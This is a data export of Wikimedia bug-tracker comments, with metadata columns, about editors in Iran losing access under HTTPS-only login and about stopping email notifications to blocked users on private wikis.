https://meta.wikimedia.org/wiki/HTTPS#List_of_excluded_language_wikis",,,1377033946,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.545454545454546,1.0,"Updated list of initially excluded language wikis at:
URL"
233655,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"(In reply to comment #6)
> There really should be no excluded languages; exposing our contributors to
> MITM attacks and government spying is a disservice.
What does ""MITM attacks and government spying"" mean when we can not contribute?",,,1377032535,,PHID-USER-iilvf4ivjgi76k3zu3cm,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,17.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,3.0,7.0,0.0,3.0,7.0,0.0,3.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,3.4482758620689653,0.8620689655172413,"(In reply to comment #6)
QUOTE
QUOTE
What does ""MITM attacks and government spying"" mean when we can not contribute?"
233652,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"(In reply to comment #6)
> There really should be no excluded languages; exposing our contributors to
> MITM attacks and government spying is a disservice.

I agree that HTTP is a problem, but isn't it worse if several projects lose most of their contributors?",,,1377031346,,PHID-USER-zcvchmenkrawdr5233in,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,3.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,14.0,6.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,9.0,14.0,3.0,3.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.4,0.9142857142857143,"(In reply to comment #6)
QUOTE
QUOTE

I agree that HTTP is a problem, but isn't it worse if several projects lose most of their contributors?"
233650,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"(In reply to comment #7)
>If there are issues *now* for you then they are unrelated and a different problem.
> Please elaborate.

I don't know what is the problem but now I can not open any page on all Wikimedia projects; I only reported it.",,,1377030610,,PHID-USER-iilvf4ivjgi76k3zu3cm,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,5.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,8.0,0.0,10.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,18.0,0.0,3.0,8.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,0.0,10.0,8.0,3.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1538461538461537,0.8974358974358975,"(In reply to comment #7)
QUOTE
QUOTE

I don't know what is the problem but now I can not open any page on all Wikimedia projects; I only reported it."
233648,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"(In reply to comment #5 by Calak)
> Now all WM projects are out of access except Meta, Commons, Incubator,
> Bugzilla, MediaWiki and Wikidata projects.

Uh? The SecureLogin deployment handled in this bug report is scheduled to take place in 22 hours, see https://wikitech.wikimedia.org/wiki/Deployments#Week_of_August_19th . If there are issues *now* for you then they are unrelated and a different problem. Please elaborate.",,,1377030183,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,True,,,-2,True,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,17.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,7.0,3.0,3.0,0.0,3.0,14.0,3.0,2.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6724137931034484,0.8620689655172413,"(In reply to comment #5 by Calak)
QUOTE
QUOTE

Uh? The SecureLogin deployment handled in this bug report is scheduled to take place in 22 hours, see URL . If there are issues *now* for you then they are unrelated and a different problem. Please elaborate."
233645,HTTPS only Wikimedia problem for Iran Language related Wikipedias,There really should be no excluded languages; exposing our contributors to MITM attacks and government spying is a disservice.,,,1377029472,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.142857142857143,1.0,There really should be no excluded languages; exposing our contributors to MITM attacks and government spying is a disservice.
233641,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"Now all WM projects are out of access except Meta, Commons, Incubator, Bugzilla, MediaWiki and Wikidata projects.",,,1377029400,,PHID-USER-iilvf4ivjgi76k3zu3cm,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,36.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.409090909090909,0.8181818181818182,"Now all WM projects are out of access except Meta, Commons, Incubator, Bugzilla, MediaWiki and Wikidata projects."
233637,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"Thanks for the added list, we'll confirm on the https://meta.wikimedia.org/wiki/HTTPS#List_of_excluded_language_wikis page before launch.",,,1377013866,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6875,0.9375,"Thanks for the added list, we'll confirm on the URL page before launch."
233631,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"Some other countries have similar problems and Wikimedia Foundation's Engineering Team is well aware of these problems. Very likely a number of Wikimedia sites (like Wikipedia) will be excluded from HTTPS login by default.

We will keep you updated, please have a little bit of patience while sorting out plans here. Thanks! :)",,,1376493332,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,True,,,-2,True,2.0,0.0,2.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,2.0,2.0,6.0,0.0,2.0,2.0,0.0,5.0,2.0,0.0,0.0,3.0,13.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,4.451612903225806,0.8548387096774194,"Some other countries have similar problems and Wikimedia Foundation's Engineering Team is well aware of these problems. Very likely a number of Wikimedia sites (like Wikipedia) will be excluded from HTTPS login by default.

We will keep you updated, please have a little bit of patience while sorting out plans here. Thanks! :)"
233626,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"**popeno2003** wrote:

(In reply to comment #1)
> Hello. I am sysop of ckb.wiki and I confirm Pouyan statements. We can not
> access to wikimedia projects via HTTPS. All sysops of ckb.wiki are from Iran
> and this is very bad. Now what are we suppose to do?
> (Correction: Pouyan's purpose was ""ckb"" not ""cbk"" wikipedia)

sorry for the typo (not enough sleep after long distance travel :D).",,,1376492004,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,0.7,"**popeno2003** wrote:

(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

sorry for the typo (not enough sleep after long distance travel :D)."
233620,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"Hello. I am sysop of ckb.wiki and I confirm Pouyan statements. We can not access to wikimedia projects via HTTPS. All sysops of ckb.wiki are from Iran and this is very bad. Now what are we suppose to do?
(Correction: Pouyan's purpose was ""ckb"" not ""cbk"" wikipedia)",,,1376491864,,PHID-USER-iilvf4ivjgi76k3zu3cm,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,2.0,0.0,2.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,7.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,18.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,7.0,10.0,13.0,2.0,7.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5901639344262297,0.7704918032786885,"Hello. I am sysop of ckb.wiki and I confirm Pouyan statements. We can not access to wikimedia projects via HTTPS. All sysops of ckb.wiki are from Iran and this is very bad. Now what are we suppose to do?
(Correction: Pouyan's purpose was ""ckb"" not ""cbk"" wikipedia)"
54453,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"Not sure if maybe Wikimedia/Site requests would be the appropiate place.

When an user account is blocked on a private wiki that has the 'wgBlockDisablesLogin' in the config, the blocked user should not continue to receive email notifications about pages changed on his watchlist. This is happening to me.

Blocked users on 'wgBlockDisablesLogin'-wikis won't be able to login and check the change made, and there's the posibility that private data may be leaked in the edit summary (data that the user is not suposed to access anymore).

Since blocking on those private wikis such as <http://noc.wikimedia.org/conf/highlight.php?file=private.dblist> (& I'm speaking for those that I know: CU and steward wikis) is not used as a way to prevent abuse, but as a tool to remove someone's access to the wiki, it makes sense IMHO to disable from blocked users the ability to continue to receive email notifications. I guess that that is the primary use of the tool in all of the other ones.

Thanks.

--------------------------
**Version**: 1.22.0
**Severity**: normal",High,80.0,1375447200,1439552215.0,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,PHID-USER-lsveyqlsb4acoowxr5yj,False,PHID-TASK-cncmgn3somgwerasmpjj,task_description,resolved,True,c2,2,True,False,False,-4,True,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,1.6666666666666667,3.6666666666666665,1.0,0.0,0.0,0.3333333333333333,2.3333333333333335,1.6666666666666667,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,2.6666666666666665,11.0,0.3333333333333333,3.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,4.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,2.6666666666666665,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,13.0,1.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,6.666666666666667,2.6666666666666665,6.0,1.3333333333333333,1.6666666666666667,8.333333333333334,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.3333333333333333,0.0,2.3333333333333335,11.0,2.3333333333333335,0.0,1.0,0.0,2.3333333333333335,0.0,1.6666666666666667,1.3333333333333333,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,3.9830985915492954,0.7296445338698859,"Not sure if maybe Wikimedia/Site requests would be the appropiate place.

When an user account is blocked on a private wiki that has the 'wgBlockDisablesLogin' in the config, the blocked user should not continue to receive email notifications about pages changed on his watchlist. This is happening to me.

Blocked users on 'wgBlockDisablesLogin'-wikis won't be able to login and check the change made, and there's the posibility that private data may be leaked in the edit summary (data that the user is not suposed to access anymore).

Since blocking on those private wikis such as <URL (& I'm speaking for those that I know: CU and steward wikis) is not used as a way to prevent abuse, but as a tool to remove someone's access to the wiki, it makes sense IMHO to disable from blocked users the ability to continue to receive email notifications. I guess that that is the primary use of the tool in all of the other ones.

Thanks.

--------------------------
**Version**: 1.22.0
**Severity**: normal"
507540,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"Change 218602 merged by jenkins-bot:
Don't send email notifs to blocked users if $wgBlockDisablesLogin is true

[[https://gerrit.wikimedia.org/r/218602]]",,,1439484247,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,False,,,102,True,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.9285714285714286,"Change 218602 merged by jenkins-bot:
Don't send email notifs to blocked users if $wgBlockDisablesLogin is true

[[GERRIT_URL]]"
475340,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"Change 218602 had a related patch set uploaded (by Glaisher):
Don't send email notifs to blocked users if $wgBlockDisablesLogin is true

[[https://gerrit.wikimedia.org/r/218602]]
",,,1434448355,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,False,,,93,True,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,4.03030303030303,0.9090909090909091,"Change 218602 had a related patch set uploaded (by Glaisher):
Don't send email notifs to blocked users if $wgBlockDisablesLogin is true

[[GERRIT_URL]]
"
437010,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"Change 194525 abandoned by Alex Monk:
Prevent user from receiving email while blocked with $wgBlockDisablesLogin on

[[https://gerrit.wikimedia.org/r/194525]]",,,1427945933,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,20.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.68,0.92,"Change 194525 abandoned by Alex Monk:
Prevent user from receiving email while blocked with $wgBlockDisablesLogin on

[[GERRIT_URL]]"
421459,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"Change 194525 had a related patch set uploaded (by Alex Monk):
Prevent user from receiving email while blocked with $wgBlockDisablesLogin on

[[https://gerrit.wikimedia.org/r/194525]]
",,,1425568061,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,False,,,79,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,16.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,4.3125,0.90625,"Change 194525 had a related patch set uploaded (by Alex Monk):
Prevent user from receiving email while blocked with $wgBlockDisablesLogin on

[[GERRIT_URL]]
"
419723,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,Can this be resolved using ways like {T87559}?,,,1425361756,,PHID-USER-3wfzrv2a2ggwauxc52is,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,True,,,78,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.5454545454545454,1.0,Can this be resolved using ways like {T87559}?
409497,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,">>! In T54453#1028658, @Jalexander wrote:
> Aye, user talkpage notifications are unhelpful to the user who can't log in to their account and on private wikis (like this is meant for) this are a security issue too since the notification can have snippets of what is posted. [obviously there is not generally a reason to post private information to a blocked wikis talk page but I can imagine a situation where someone hadn't noticed they were gone already or something like that]

True, I got with the user's talkpage thing on a wrong way for this situation. They can't see them when they are not logged in....",,,1423606777,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,True,,,75,True,0.0,0.0,0.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,15.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.4705882352941178,0.9705882352941176,"QUOTE
QUOTE

True, I got with the user's talkpage thing on a wrong way for this situation. They can't see them when they are not logged in...."
409387,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"Aye, user talkpage notifications are unhelpful to the user who can't log in to their account and on private wikis (like this is meant for) this are a security issue too since the notification can have snippets of what is posted. [obviously there is not generally a reason to post private information to a blocked wikis talk page but I can imagine a situation where someone hadn't noticed they were gone already or something like that]",,,1423594181,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,False,,,75,True,0.0,2.0,0.0,4.0,4.0,4.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,1.0,0.0,10.0,13.0,2.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,1.0,0.0,7.0,7.0,2.0,2.0,4.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,13.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,1.0,4.273809523809524,0.7976190476190477,"Aye, user talkpage notifications are unhelpful to the user who can't log in to their account and on private wikis (like this is meant for) this are a security issue too since the notification can have snippets of what is posted. [obviously there is not generally a reason to post private information to a blocked wikis talk page but I can imagine a situation where someone hadn't noticed they were gone already or something like that]"
409348,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"Reconfirming the email when one is back doesn't look like a huge burden.

>  However user talkpage notifications could be still allowed.

What for, if they can't access their talk pages? Also, the user wouldn't be able to disable such emails because preferences would be inaccessible. I agree it's possible to break down tthe disabling in many conditions, but unconfirming the email address is a reasonable first implementation.",,,1423591279,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,True,,,75,True,1.0,0.0,0.0,0.0,4.0,11.0,4.0,1.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,3.0,8.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,7.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,0.0,7.0,5.0,7.0,4.0,1.0,7.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,7.0,11.0,0.0,1.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,4.0,0.0,0.0,0.0,4.301369863013699,0.7945205479452054,"Reconfirming the email when one is back doesn't look like a huge burden.

QUOTE

What for, if they can't access their talk pages? Also, the user wouldn't be able to disable such emails because preferences would be inaccessible. I agree it's possible to break down tthe disabling in many conditions, but unconfirming the email address is a reasonable first implementation."
409282,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,">>! In T54453#1027792, @Trijnstel wrote:
> What if this task is being done and accounts need to be unblocked? Will the email then automatically be confirmed again? (ie. think about returning OTRS agents, CheckUsers and/or stewards)

I don't think thats the right way that emailconfirmed should be revoked (as only the merged task title suggests) if the goal is, that the account don't get watchlist notifications. Instead I imagine, when generating the mails, it should be checked if wgBlockDisablesLogin && user is blocked, and not send it.
